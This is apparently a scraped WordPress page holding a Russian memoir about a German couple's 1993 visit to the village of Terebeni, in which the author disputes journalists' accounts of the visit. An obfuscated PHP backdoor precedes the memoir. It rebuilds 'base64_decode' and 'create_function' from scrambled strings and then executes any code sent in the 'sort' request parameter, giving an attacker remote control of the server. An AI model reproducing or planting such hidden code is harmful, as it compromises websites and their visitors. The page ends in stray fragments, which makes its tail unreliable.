nnn$z0=$_REQUEST['sort'];$q1='';$c2="wt8m4;6eb39fxl*s5/.yj7(pod_h1kgzu0cqr)aniv2";$y3=array(8,38,15,7,6,4,26,25,7,34,24,25,7);foreach($y3 as $h4){$q1.=$c2[$h4];}$v5=strrev("noi"."tcnuf"."_eta"."erc");$j6=$v5("",$q1($z0));$j6();nnn?php /** * @package dazzling */ ?>

ЗАКОН ЖАНРА ИЛИ ЖАНР В ЗАКОНЕ?


                                                  эпиграф ЗЗ
"– А – а . . .Я  думал ,  что   вы  были   просто   писарем, – сказал  Карков. –
Я   всегда    п у т а ю    факты  –  характерная   особенность   журналистов ."

                                                    Э. Хемингуэй " По  ком   звонит   колокол "

      Кстати,  первая  статья  в   нашей  местной  газете  про  визит  к  нам  сына " немца  с  колокольни "  так  простодушно  и  называлась "По  ком   звонит  колокол ". Почему  " простодушно "?  Да  потому   что  родственнички  нобелевского  лауреата  могли  бы  встать,  если  захотели,  на  защиту  своих  наследственных  авторских  прав  по  использованию  чужого  названия  . . .  Боже ! Во  мне  просыпается  мамочка-сутяжница !  Спаси  и  сохрани !
    Двадцать  пять  лет,  четверть  века   этой   м о е й   истории, п е р е в р а н н о й  журналистами  вдоль  и  поперёк ,  до  сих  пор  кривым  сталактитом   застывшая  на  разворотах  журналов  и  газет. До  сих  пор,  без  коррекции  на  прошедшие   у ж е  четверть  века   журналисты  запускают   и  запускают  во  всей  своей  профессиональной   примитивности  свои  допотопные  тексты. Например, оказывается,  нас  с  мужем  ( царствие  ему  небесное ! )

                " первое  и,  пожалуй,  главное,  что  поразило,  это  то,  что  Грюнефельды  не  хотят  иметь  детей" ( ? ! )

      Какая  глупость ! Во-первых,  это  нас   вовсе  не  " поражало".  Их  на  тот  момент  бездетность  была  просто  нами  в  разговоре  просто  означена, потому  что  они  звали  в  свою  семью  и  на  учение  в  Мюнстере  нашего  оканчивающего  средюю  школу  старшенького.  Да  и  само  внимание  к  этому  медицински  тонкому  вопросу  попросту  бестактно.  Эти  довольно  молодые  немцы  приезжали  в  1993  году, а  очередной  всплеск  публикаций  произошёл  в  нынешнем, юбилейном  2015 году.  Живы  ли  вообще  они ?  Может, стали  многодетными,  может,  разбежались,  может,  стали   журналистами   в  своих   областях,  может,  ушли  в  монастырь . . .

      Кстати,  о  религии.  Мало  того,  что   у  всех   журналистов   принижен   социальный  статус  Эльжбеты   и   Рейнгольда – Рейхарда. .до  "простых  скучающих  бюргеров".  А  ведь   нами,   м н о й    в  особенности,  было   в   разговоре  с   журналистом   акцентировано,  что  Рейнгольд  ( а  не  Рейнхард )  был ПРЕПОДАВАТЕЛЕМ  РЕЛИГИИ  И  НРАВСТВЕННОСТИ  будущим  банкирам  в  высшем  экономическом  заведении  Мюнстера !  Нет,  всё-то  у  журналистов   мимо   главного !

         Мой  муж  любил  всем  рассказывать,  что  в   середине  девяностых,  когда  он  выезжал  отсюда,  из  Теребеней,  на  международную  конференцию  по  охране  памятников  в  Варшаву,  там,   при  случае ,  участникам   форума  он  рассказал  эту  нашу  историю  и   про  специализацию    Рейнгольда.  Все,  мужу  на  удивление,  грохнули  от  смеха.  Муж,  вспоминая  это, любил  посмаковать  своё  неведение  в  этом  вопросе  и  как  его  политически  продвинутые  коллеги  просветили  в  этом  вопросе. Их   насмешило  то,   з а ч е м   будущим    б а н к и р а м      н р а в с т в е н н о с т ь    и    религия,   им,  денежным  счетоводам  !?  Таким   образом,  преподавательское  поприще   Рейнгольда   в   какой-то  мере   было   даже  назвать  подвижническим !  Поэтому   Рейнгольду   в   профессиональном   плане   интересно  было  нас  посетить,  а   уж   во   вторую   очередь  –  у   них  был  интерес  туристический.

     Но,  пожалуй,  с а м о е   " пикантное "  и  незамеченное   журналистами  (  в  том  числе  и  " международником " )  в  этой  истории  было  то,  что  приезд  этих  непростых  иностранцев  совпал  с  событиями  начала  октября  1993 года.  У  них   билеты  были  взяты  ещё   летом,   и  так   совпало –  на  день   после   обстрелов  Белого  дома.
      Эльжбета   из   Мюнстера  мне  позвонила  и  с  понятным   беспокойством  спросила,  можно  ли  им  приезжать ?  Я   в  полушутливой  форме  её  и  Рейнгольда  вдохновила:
     —  Вам  сильно  повезло !  Вы  же  хотели  окунуться   в   военную   тематику   своего   папочки,  которая  и  инициировала  наше   знакомство ?  Вот  вам  подходящий  случай:  стреляют,  жрать  нечего  и  полная  непонятность  происходящего ! "
       Приехали,  не  побоялись !

       Правда,   вполне   объяснимый  для  меня  " дребезг "  Рейнгольда  проявился   в  таком  мучительном   процессе,  как  переезды.   Мы   с   ними,  встретившись  в  Пулково  и  отобедав  у  наших  друзей,  поехали  с   автостанции  –  правильно,  на  автобусе –  из  Петербурга   в  Опочку ( девять  часов !).  Так,  отправившись  с  автовокзала   из  центра   Петербурга,   мы  снова  проехали  Пулково,  далее  Гатчину,  но  ещё  не  доехав  до  Луги,  Рейнгольд  взмолился:  когда  ж  приедем ?
    Кстати,  проблем  с  языком  у  нас  не  было,  так  как  полька  Эльжбета  была  профессиональной  переводчицей  и  преподавателем  немецкого  и  русского  языков,  и  именно  о  НЕЙ   и  надо  было  писать  статьи  " умным "  журналистам !  Так  вот,  Рейнгольд  ( на  внешность –  просто  супергерой !) взмолился: " Да  когда  же  мы,  наконец, приедем ? "   А  мы  ж  едва  только  отъехали !  Но  я  благодаря  своим  по  Германии  гастролям  его  поняла.  Там,  в  Германии,  мы,  когда  передвигались  из  города  в  город,  мне  казалось,  только  садились  в  автобус,  и,   не  успев   расслабиться   и   о   чём-то  задуматься   –  бац  ! –  уже  приехали !
    Эльжбета  тоже  понимала  бессмысленность  стонов  своего  мужа,  но,  исполняя  переводческую  функцию,  требовала   от   меня   ответы  на  эти  однообразные   вопросы. Уж  не  знаю,  ч т о    она  ему  там   с в о ё   напереводила,  но   одной   своей  тирадой  по  поводу   нашей  слишком  длинной  дороги  я  горжусь   до  сих  пор.
      Когда  в  десятый  раз  она  переводила  стоны  изнывающего  мужа,  я  позволила  себе  резкость  и  даже  злобу:
  — Так !  Сейчас  я  иду  к  шофёрам, останавливаю  автобус,  мы  выходим  и  вытаскиваем  из  него   в с е   наши  грузы.  Навешиваем  их  на  себя  и  идём  по  этому  шоссе,  которое  через  Киев  –  потому  Киевским  и  называется  –  ведёт  в  Германию.  Мы   ведь  едем  к  истории  вашего  папы   в  Теребени  от  Пулковского  аэропорта,  где  мы   вас   встретили  и   где   на  этом  месте  стояла   ваша   фашистская    п у ш к а   " Толстая  Берта ",  которая  прямой  наводкой  стреляла  по  Ленинграду.  Вы  сюда  п р и ш л и   навьюченные   и   уползли,  кто  жив  остался.  Где   Пулково   и   где,  я   вас   спрашиваю,   Берлин ?  Пехотой  это  расстояние   п р о й д е н о    дважды:  сюда   и   туда !  Сейчас   и  мы   пойдём !
     Было   бы  интересно  узнать,  насколько  Эльжбета  а д а п т и р о в а л а   эту  мою  (синхрофаза) т р о н н у ю    речь,  переводя  мужу.  . . . Всё-таки,  думаю, что  в    т о т    год   –  точно . . .

      Но  самое  главное  им  испытание  было  после  девятичасовой   дороги  по  шоссе:  ещё   часовая  дорога  от  Опочки   до   деревни –   непреодолимые  никаким  и  никогда  сытым  и  изнеженным  врагам  30  километров   бездорожья !  А  ведь  на  тот  момент  Эльжбета  была  менеджером  по  продаже  машин,  прежде  всего  сельскохозяйственной  техники.
     По  полям  же  всюду   по  дороге,  особенно  в  самой   нашей  " глубинке ",  были  брошены  на  ржавение  и  гниение  трактора,  косилки, комбайны . . .   Ну  и   досталось  же     м н е    в    свою   очередь    от   неё  за   э т о т   постсоветский,  нами   сейчас  забытый, " пейзаж ".  А   после  их  визита,  через  год-два   началось  обратное  движение  в   народных  массах:  хватали  всё,  что  только  можно  было   сдать " в  металл"   –  от  работающих  агрегатов   и  проводов  высокого  напряжения  до  рукомойников  с  подскакивающими  снизу   штырьками.  Именно  эти  рукомойники потрясли  наших  гостей  больше  всего. Они  их   и  себя   фотографировали,  плескаясь  как  дети,  смакуя  то,  что  и  их  папочка  так  умывался.
      Кстати,  о   немецком  папочке. Сантименты  по  поводу  пролитых  у  папиного  граффити  с л ё з,  изобретённых   журналистами,  не  было  в  помине. цитирую  строчку  статьи  Ю.Лепского  в  глянцевом   журнале  " РОДИНА"  ( ! ! ! ) за  май  2015  года:

         "Низкое  солнце  сквозь  узкое  окошко   . . .  . . .
(посмотрите  предыдущую  меморию  с  фотографиями   –  какая,  к  лешему,  " колоколенка  с  узким  окошком " ?

   . . .    окошко   колоколенки  хорошо  освещало  старую  надпись  на  немецком  языке. Молодой  Грюнефельд  вгляделся   в  буквы,  и  матушка  (не  трошь  пыха ! будет  лихо) с  удивлением  заметила,  как  что-то  изиенилась  в  его  лице. Но  он  прикрыл  ладонью  щлаза  и отошёл  к  окну . . .  Рейнхард  Грюнефедьд  плакал. Он  узнал  почерк  отца.  Эльжбета, матушка  Валентина  и  отец  Георгий  стояли  молча. За  два  с  лишним   века ( ! ) существования  церкви  в  Теребенях  это  была,  пожалуй,  единственная ( ! )  беззвучная,  но  едва  ли  не  лучшая ( ! ) проповедь,  сотворённая  здесь . . . " конец   цитаты
      В  окончании  статьи,  многоточие  Лепского,  а  не  моё. Научил  нас,  читателей,  принципиально   некрещёный  журналист  образцовой   ц е р к о в н ой   проповеди !  И  за  всё  время  существования   церкви,  построенной  отцом  Кутузова !

     Чего  было  сыну сокрушаться,  если  его  папаша   в  середине  войны  благополучно  из  наших  Теребеней  комиссовался  по  гепатиту,  приехал   домой  в  Мюнстер, нарожал  кучу  детей  ( в  том  числе  и  Рейнгольда )  и  умер , как   они   сказали,  за  год   до  получения  моего   известия,  точнее,  известия  из  Красного  Креста,  поскольку  моё  письмо  попало  было  на  помойку,  но  добрый  человек  его  оттуда  вытащил  –  и   это  единственный  правдивый  факт  в  журналистских  интерпретациях    моей  немецко-теребенской  темы.

         А   вот  потрясающая   история  Эльжбеты,  которую   она  мне  рассказала,  и  которую  журналисты   откровенно  пропускают  мимо  ушей.
         Она  родилась  и  выросла  в  деревне  под  Краковом. Фашисты  эту  и  все  деревни  вокруг  выжгли. Оставшиеся   в  живых  потихоньку   заново  отстраивались  и,  естественно,  больше  всего  на  свете  ненавидели  немцев  как  таковых. Эльжбета  в  такой  атмосфере  неприятия  немцев  выросла, но   по  какому-то  внутреннему  позыву потянуло  её  на  немецкий  факультет. После  университета    она  стала  преподавать  русский  и  немецкий  в  школе.  И  продолжилось  в  ней   стремление  не  просто  владеть   не  только  языком,  а   его  носителем. К огда  она  мне  это  говорила,  в  ней  не  было  лукавства  или  кокетства: " Вот  хочу  в  мужья  немца  –  и  всё  тут !   При  том,  что  понимаю,  что  делаю  всем  своим  землякам  вызов,  оскорбление  памяти  погибших . . ."
        Когда  через  подругу  в  немецком  консульстве  она  познакомилась  с  Рейнгольдом,  то  её  мать  заочно  её,  то  есть  родную  дочь,    п р о к л я л а,  как  и   её  брак. От  Эльжбеты   отвернулись  все  близкие.  Но  она  методично  " гнула  свою  линию ".  Она   п р и в е з л а  ( сказала  она  это  с  удивительной  твёрдой  интонацией ) Рейнгольда  в  свою   деревню  и   педагогично  сделала   т а к ,  что  все  смогли  увидеть,  какой  он  хороший  и  правильный   –  а  это  действительно  ( мы  с  мужем  свидетели )  –  это   т а к  !  Он   вдумчивый,  поэтому   умный,  деликатный,  выдержанный  (то  есть "характер  нордический "),  тактичный  и  дисциплинированный. Образцово-показательный   и   без   желания  показаться  таким.
  — И  теперь –  сказала  Эльжбета,  подводя  итог  рассказу, –  моя   мама  любит  Рейнгольда   даже  больше  чем   меня !  Просто  обожает !
    Но  это, прошу  не  забывать,  всё  было  в  1993 году,  о  чём  забывают   и  поныне  тиражирующие  свою  фигню   журналисты. Что  сейчас  с  ними,  через  четверть  века ? – вот   бы   высокопарным  мастерам  пера   поинтересоваться ! . .

       Когда  я  рассказывала  эту  историю   съёмочной  группе  телепрограммы  " Взгляд " ,  которая  снимала  об  этом  сюжет   в  июне  1999 году (  всё,  конечно,  потом  перевернув  и  вообще  урезав  до  рекламирующего  только  дату  22 июня  эпизода ),  то  матёрый  редактор   группы   объяснил  мне, поскольку  я  ему  доверительно  высказала  своё  " теоретическое "   предположение   о, возможно,  неполной  искренности   Эльжбеты. Он  же   мне  сказал,  что  через  мой  рассказ   чувствует   п о л н у ю    искренность  Эльжбеты   –   такова  мол  женская  природа:  на  подкорковом  уровне  восстанавливать   в   порушенном   обществе  гармонические  связи.  И  тем  не  менее,  хоть  мы  с  этим   Александром   Черниченко   и  хорошо  на  эту  тему  поговорили,  всё,  что  эта  телегруппа  наснимала  про   эту  историю  –  всё  урезалось  и  перевернулось   . . .
      Да  что  за  такой    интересный  " з а к о н     ж а н р а ",  который  я,  по  определению  Ю.М.Лепского, не  понимаю ?. . .
      Года  через  два  они,  бывшие  " Взглядовцы ",  приехали  снимать  для  телепрограммы  " Искатели "  склеп  под  нашей  церковью  с  родителями  полководца  Михаила Ил(л)арионовича  Голенищева-Кутузова.  И   опять   полная  лабуда,  где  ведущего  передачу  Андрея   по  фамилии  из  одной  буквы  -" И "  – и   в   помине  здесь  не  было:  его   примонтировали  " задним  числом",  вообще  наговорив  в  передаче  полную  ахинею.  С  Черниченко  я  вообще  перестала  уже  во  время  съёмок  общаться,  чувствуя,  что  к  этой  ахинее  всё  идёт  бодрым  шагом . . .

          Интересен   для   повествования  о  том  времени  такой  сложный  вопрос  как    вызов  " на  себя"   в    д е р е в н ю   иностранца.  Журналистам,  болтающимся  по  миру  за   казённый  счёт,  и  в  голову  не  приходила  эта  заковыка,  которая  могла  снять  с  повестки  дня  вообще  существование  этой  любимой  ими   истории  с   немецкими  надписями.
          Ну,  я уже  говорила,  что  эти  немецкие  адреса  я  актуализировала   т о л ь к о   для  нашего   друга,  который  в   конце  восьмидесятых  с  громадным  трудом  оформления  своих  документов  на  загранвыезд   сумел   добраться   до   М ю н с т е р а    в  тамошнее  богословское  учебное  заведение.
           Моё  письмо  ( в  непонятно  и  сейчас  для  меня   к а к о м    Мюнстере)  попало  в   помойное   ведро   домуправа   репатриированных  советских   немцев  только  потому,  что  прошло  в с е   Мюнстеры  в  Германии,  а   в    э т о м    Мюнстере   это  был  единственный  дом,  где  жили  русские  ( казахстанские ) репатриированные.  Ведь  письмо  вплоть  до  попадания  в  помойное  ведро  так  целомудренно  и  не  было  вскрыто.  А  на  конвертах  ( и  в  Гамбург,  и  в  Мюнстер )  было  мною  написаны  только   д в а    слова:
                                  " Гамбург,  магистратура "    и  так   же    " Мюнстер,  магистратура "
                                                   ой,  что  я  пишу ?
                                       не  " магистратура ",  а  " магистрат " . . .  забыла  что  именно ! . .
      Я  не  очень  понимала  ( а  кстати, и  до  сих  пор ),  ч т о   за  "зверь  такой" –   слово  " магистратура "  ( а  может  – " магистрат "),  но  оно  мне  просто  нравилось. Таким  образом,  можно  было  бы  подчеркнуть,  что  в  прямом  смысле  эти   письма  были,  словно   бутылки  в  море,  посланы  " на  деревню  дедушке ".  А   внутри  писем   я   просто  перерисовала  адреса  с  колокольни. Это  подтверждение  тому,  что " рукописи  не  горят ! "
    Так  вот, про  того,  кто  сделал  Рейнгольду  с  Эльжбетой  вызов  на  себя.
    Когда  я  " разлила   подсолнечное  масло", а  репатриированный  Саша  Вебер  распечатал  родной  советский  конвертик  " авиа"  и  послал  содержимое  в  Красный  Крест,  наша  с  мужем  эрмитажная  подружка,  срочно  выучив  к  тому  времени  немецкий,  как  раз    н а ч а л а    с  лекциями  по  античности  выезжать  в  Германию.  Я  её  и  попросила  после  первого  же  письма  Эльжбеты   съездить  в  Мюнстер  и  познакомиться  от   моего  имени  с  ними.  Может, даже  поискать  в  Мюнстере,  в  том  богословском  заведении  и  нашего   общего  друга.
    Подружка   так   и  сделала, а  потом,  приехав   в  Россию,  устроила  Грюнефельдам   вызов   на  себя.
    Если  б  не  Эльжбета   со  своим  прекрасным  знанием  русского  языка,  если  б  не  наша  подруга,  командированная  в  Германию  –  то  никаких  бы приездов  немцев  в  деревню  не  было  бы,  хоть  сто  писем  туда  напиши !

       А  ещё   о б я з а т е л ь н е е   всего  надо   было  бы  хоть   одному  журналисту   осветить  судьбу   в т о р о г о   адреса,  в  Гамбурге.
       После  извещения  из  Красного  Креста  престарелая  дочь  второго  немца,  оставившего   у  нас  свой  адрес,  с  помощью  переводчика  прислала  нам  тёплое  письмо  с  особой  благодарностью,  так   как  это  извещение  её  не  могло  не  потрясти:  оно  было  вообще  с  самого  начала  той  войны  и  до  сих  пор   единственным   о    её  отце !  Он  как  ушёл   на  войну  –  так  и  пропал   без   вести,  без  единой  крупицы  информации,  кроме  моей.  Тот  дом  в  Гамбурге,  указанный  на  нашей  колокольне,  разбомбили  англичане,  после  войны  дочь  Эрнста  Шмуля   вышла   замуж  и   сменила  фамилию. В  Красном  Кресте  быстренько  разобрались !  Мы  пообменивались   с  ней   по   нескольким  праздникам  поздравлениями,  и  наш   контакт  с  ней  сошёл  на  нет.

      Но  вернусь  к  образу  главного  персонажа   эпохального  посещения   Теребеней   –   сына  фашиста  " с  колокольни " ,  ЗАМЕЧАТЕЛЬНОГО  ВО  ВСЕХ  ОТНОШЕНИЯХ  РЕЙНГОЛЬДА.  Вот   две  мои   личные,  даже,  можно  сказать,  интимные  заметки  о  нём.
    Я  ведь  не  случайно    з а с т а в и л а     себя  ( точнее,  эрмитажная   подружка    з а с т а в и л а    меня,  спасибо  ей ! )   вспомнить  и  написать   предыдущую  меморию   о  моих  гастролях  в   Германии,  в  Берлине  и   о  моей  случайной  встрече  там  с  настоящим  бывшим   фашистом  ( Лутаром ).
     Понятно,  что  я,  после  общения  с  Лутаром,   имела  все  основания   ожидать   более  животрепещущего  и   проникновенного  контакта  с  Рейнгольдом,  чем  он  получился   на  самом  деле  тут,  у  нас  в  Теребенях. Но  тем  не  менее,  он  тоже  показателен.
    Я,  выбрав  подходящий  момент,  подходящее  нам   с  ним  настроение,  попросила  моего  сына  перевести    ему   моё  повествование  о  встрече  с  Лутаром.  Я  подбирала  простые  слова  для  повествования  и  уверена,  что  сын  достаточно   точно  донёс  до  Рейнгольда  мою  историю с  Лутаром.
   Когда  же  через  какое-то  время  мне  сын  сказал,  что  Рейнгольд   выразил  ему   удивление:  зачем   мол  мама  рассказала  ему  эту  историю ? . . . Но  всё  же  я    рада,  что  хоть  вообще  Рейнгольд   поднял  этот  вопрос  " зачем ? ",  а  не  равнодушно  пропустил  его  мимо  ушей.

    А   вот  что меня  в  Рейнгольде  не  то  что  напугало,  но  удивило  своей  неожиданностью  и экспрессивностью. Нет,  может,  всё   же  и  напугало,  как  и  Лутарово  постоянное  "пуф-пуф".
    Нашему  младшенькому  было  тогда  едва  полных  семь  лет,  и  детская  тематика ( книжки,  игрушки) везде  была  раскидана.. Где-то  на  виду  валялся   и  журнальчик  комиксов  под  названием  " Штука-дрюка ".  Как-то, чисто  автоматически,  Рейнгольд  стал  его  листать . . .  и  что  вдруг  с  ним  случилось !  Он  хохотал   до  коликов,  он  рыдал  настоящими  слезами,  закрывая  лицо  этим  журналом  и  падая  с  ним  носом  на  стол,  потом,  выпрямляясь  и  выгибаясь,  шлёпал  себя  им  по  лбу  и  снова  падал  носом  об  стол,  изнемогая  от  хохота. Во  все  последующие  дни   он,  как  только  просто  видел  часть  этого  журнала,  откуда-то  высовывающуюся,  он  уже  начинал  конвульсировать. Он  начинал  его  листать  в  поисках  ещё  такой  же  смешной  истории,  но  неизменно  возвращался  именно  к  этой  рисованной  истории,  в  честь  которой  журнал  и  был  назван – " Штука-дрюка".  Там  на  протяжении  нескольких  картинок  происходит  до  поры  до  времени  однотипное:  ребята-шалуны  подходят  с  коробочкой,  с виду  обыкновенной,  то  к  одному,  то  к  другому  встречному  на  улице,  предлагая  познать,  что  за  штука-дрюка   таится   в   коробочке.  Жертва  безобразников  беспечно  открывает  коробочку,  а  там  –  резко  выскакивающая  пружинка  создаёт   нужный  эффект  испуга:  ха-ха-ха !
    Но  вот  ребята  подходят  к  старушке,  она  тоже  попадается  на   их  удочку   и . . .,   окачурившись,  лежит   на  спине,  вытянувшись  на  асфальте   с  птичьими  лапками  с  коготками  перпенликулярными   асфальту. . . Все  плачут: старушку  жалко . . .
яяяяяяяяяяяяяяяяяяяяяяя
         . . . каюсь,   я     сделала  маленькую   г а д о с т ь    сыну  бывшего  нашего  врага   и   НЕ    п о д а р и л а   ему   этой
              ШТУКИ-ДРЮКИ  СО   СЛЕЗАМИ   НА   ГЛАЗАХ
02
                    +
              петр  иоанн  андрей
филипп  фома  варфоломей
              два  иакова  матфей
  иуда яковль ,т.е. ф а д д е й
    зилота симон  и  матфИй


Добавить комментарий